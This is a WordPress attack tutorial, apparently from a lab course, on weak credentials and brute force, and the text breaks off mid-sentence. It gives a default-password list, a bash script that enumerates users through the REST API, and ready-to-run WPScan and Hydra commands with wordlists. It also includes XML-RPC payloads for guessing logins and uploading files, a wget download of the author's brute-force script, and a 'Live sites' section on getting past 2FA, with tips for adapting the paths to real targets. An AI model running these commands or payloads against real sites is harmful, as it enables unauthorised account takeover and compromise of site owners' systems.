Brute Force & Weak Credentials

Weak Credentials

Weak credentials are one of the most common WordPress attack vectors. Admins often use admin:admin or other guessable passwords.

Password Guessing

Try weak default combinations like admin/admin.

Username	passwords
admin	123456
admin	password
admin	123456789
admin	qwerty
admin	12345678
admin	111111
admin	1234567
admin	iloveyou
admin	admin

---

Brute Force usernames

Username Enumeration in WordPress

Before launching brute-force or credential attacks, an attacker often needs valid usernames. WordPress can unintentionally leak usernames through several common vectors.

The most straightforward method is by appending ?author=1 (or ?author=2, ?author=3, etc.) to the site URL. WordPress automatically redirects this request to the author’s profile page, which often reveals the username in the URL (e.g., http://target.com/author/admin/).

curl -I http://[ip-VM]/wordpress/?author=1

Here we can see two new URLs. The second one looks very interesting — let’s visit it, and we discover a username!

We can continue look for more usernames by change the url. if we change the url insted of http://[Ip-vm]/wordpress/index.php/wp-json/wp/v2/users/1 --> http://[Ip-vm]/wordpress/index.php/wp-json/wp/v2/users/2

We receive a 404 Not Found error, which means there are no additional usernames to enumerate.

Automated script for it run from 1-1000:

#!/bin/bash

# WordPress REST API User Enumeration Script
# Loops through IDs 1 to 1000
# Change "localhost" --> [ip-vm]
# Modife path according to the orginal site (not wordpress)

TARGET="http://localhost/wordpress/index.php/wp-json/wp/v2/users"

for i in $(seq 1 1000); do
    RESPONSE=$(curl -s -w "%{http_code}" -o tmp.json "$TARGET/$i")
    
    if [ "$RESPONSE" -eq 200 ]; then
        NAME=$(jq -r '.name' tmp.json)
        echo "[+] Found user ID $i: $NAME"
    fi
done

rm -f tmp.json

If its your first time run a bash script you have to give it permissions before run:

1. Copy code from above and paste it into new file called bruteforce.sh

2. Run on the terminal in the folder that bruteforce.sh is located this command:

   chmod +x bruteforce.sh

3. Run the script ./bruteforce.sh

This time in the name section we can see the username wp_user.

Copy all usernames you got and paste them into users.txt.

Analyzing blog posts

Another approach is analyzing blog posts and comments where the author’s display name is shown, which may match the login username.

WPScan For username enumertion

Automated tools like WPScan can speed up this process using the following command:

wpscan --url http://[ip-vm]/wordpress --enumerate u

Copy all usernames you got and paste them into users.txt.

---

Brute Force username & passwords

Now that we have successfully enumerated valid WordPress usernames, the next logical step is to attempt password attacks. Brute forcing is one of the most common techniques used against WordPress, especially when weak or default credentials are in place. With a known username, attackers can try large password lists against the login page (/wp-login.php) or the XML-RPC endpoint (/xmlrpc.php) to gain access. Tools like Hydra and WPScan make this process much faster and more efficient by automating login attempts.

Tools for bruteforce /wp-login.php

• WPScan

  wpscan --url http://[IP-VM]/wordpress/wp-login.php -U users.txt -P passwords.txt --max-threads 20

• Hydra

  hydra -L users.txt -P passwords.txt [ip-vm] http-post-form "/wordpress/wp-login.php:log=^USER^&pwd=^PASS^&wp-submit=Log In&testcookie=1:S=Location"

If you’re targeting a WordPress site outside of your lab, you may need to adjust the path:

• Lab setup: /wordpress/wp-login.php

• Real-world target: /wp-login.php (no /wordpress)

User list (user.txt) → Can be created easily through use techniques.

Password list (password.txt) → Usually prepared in three tiers:

• Small list → /usr/share/seclists/Passwords/Common-Credentials/best110.txt

• Medium list → /usr/share/seclists/Passwords/Common-Credentials/10k-most-common.txt

• Huge list → /usr/share/wordlists/rockyou.txt

Tools for bruteforce /xmlrpc.php

Starting with WordPress 5.0+, XML-RPC brute-force entry points are mostly disabled or heavily filtered. So the next method is for older WordPress (≤4.9.x). Feel free to skip this.

The xmlrpc.php file in WordPress is a frequent target for brute force attacks. It allows remote procedure calls, which means attackers can send multiple login attempts in a single request. This makes brute forcing through XML-RPC far more efficient than attacking the standard /wp-login.php form.

If xml-rpc.php is active you can perform a credentials brute-force or use it to launch DoS attacks to other resources. (You can automate this process using this for example).

To see if it is active try to access to /xmlrpc.php and send this request:

<methodCall>
<methodName>system.listMethods</methodName>
<params></params>
</methodCall>

Credentials Bruteforce

wp.getUserBlogs, wp.getCategories or metaWeblog.getUsersBlogs are some of the methods that can be used to brute-force credentials. If you can find any of them you can send something like:

<methodCall>
<methodName>wp.getUsersBlogs</methodName>
<params>
<param><value>admin</value></param>
<param><value>pass</value></param>
</params>
</methodCall>

---

How to send this request with CURL

Here’s the proper way to do it:

1. Make sure your payload.xml contains no extra newlines or spaces outside the XML tags, like this:

<?xml version="1.0"?>
<methodCall>
  <methodName>wp.getUsersBlogs</methodName>
  <params>
    <param><value>admin</value></param>
    <param><value>pass</value></param>
  </params>
</methodCall>

1. Send it using --data-binary @payload.xml exactly as you did, but make sure:

curl -s -X POST http://localhost/wordpress/xmlrpc.php \
  -H "Content-Type: text/xml" \
  --data-binary @payload.xml

Use this technique for further request

Common Mistake Leading to the Parse Error

When sending XML-RPC requests, you might encounter the following error:

<?xml version="1.0" encoding="UTF-8"?>
<methodResponse>
    <fault>
        <value>
            <struct>
                <member>
                    <name>faultCode</name>
                    <value><int>-32700</int></value>
                </member>
                <member>
                    <name>faultString</name>
                    <value><string>parse error. not well formed</string></value>
                </member>
            </struct>
        </value>
    </fault>
</methodResponse>

This usually happens because PHP is missing the XML parsing module, which is required for handling XML-RPC requests.

✅ Solution: On a Kali Linux machine, install the PHP XML package:

sudo apt-get install php-xml

After installing, restart your web server and try your XML-RPC request again.

---

How to send this request with BURP-suite

The message "Incorrect username or password" inside a 200 code response should appear if the credentials aren't valid.

Using the correct credentials you can upload a file. In the response the path will appears (https://gist.github.com/georgestephanis/5681982)

<?xml version='1.0' encoding='utf-8'?>
<methodCall>
    <methodName>wp.uploadFile</methodName>
    <params>
        <param><value><string>1</string></value></param>
        <param><value><string>username</string></value></param>
        <param><value><string>password</string></value></param>
        <param>
            <value>
                <struct>
                    <member>
                        <name>name</name>
                        <value><string>filename.jpg</string></value>
                    </member>
                    <member>
                        <name>type</name>
                        <value><string>mime/type</string></value>
                    </member>
                    <member>
                        <name>bits</name>
                        <value><base64><![CDATA[---base64-encoded-data---]]></base64></value>
                    </member>
                </struct>
            </value>
        </param>
    </params>
</methodCall>

Also there is a faster way to brute-force credentials using system.multicall as you can try several credentials on the same request:

😎 Labs

📥 Automate brute force via xmlrpc.php

You can download my python tool from this repository.

1. Download the file using wget

sudo wget -O wp-xmlrpc-bruteforce.py https://raw.githubusercontent.com/verylazytech/wordpress_hacking/refs/heads/main/wp_xmlrpc_bruteforce.py

1. Run the script with your usernames & passwords files:

python3 wp-xmlrpc-bruteforce.py -u http://localhost/wordpress/xmlrpc.php -U users.txt -P passwords.txt

Output:

1. After find Valid creds you can upload files:

python3 wp-xmlrpc-bruteforce.py --url http://localhost/wordpress/xmlrpc.php -U users.txt -P passwords.txt --upload test.jpg

✨Later we will learn how to bypass files and upload PHP files.

😈 Live sites

Bypass 2FA

This method is meant for programs and not for humans, and old, therefore it doesn't support 2FA. So, if you have valid creds but the main entrance is protected by 2FA, you might be able to abuse xmlrpc.php to login with those creds bypassing 2FA. Note that you won't be able to perform all the actions you can do through the console, but you might still be able to get to RCE as Ippsec explains it in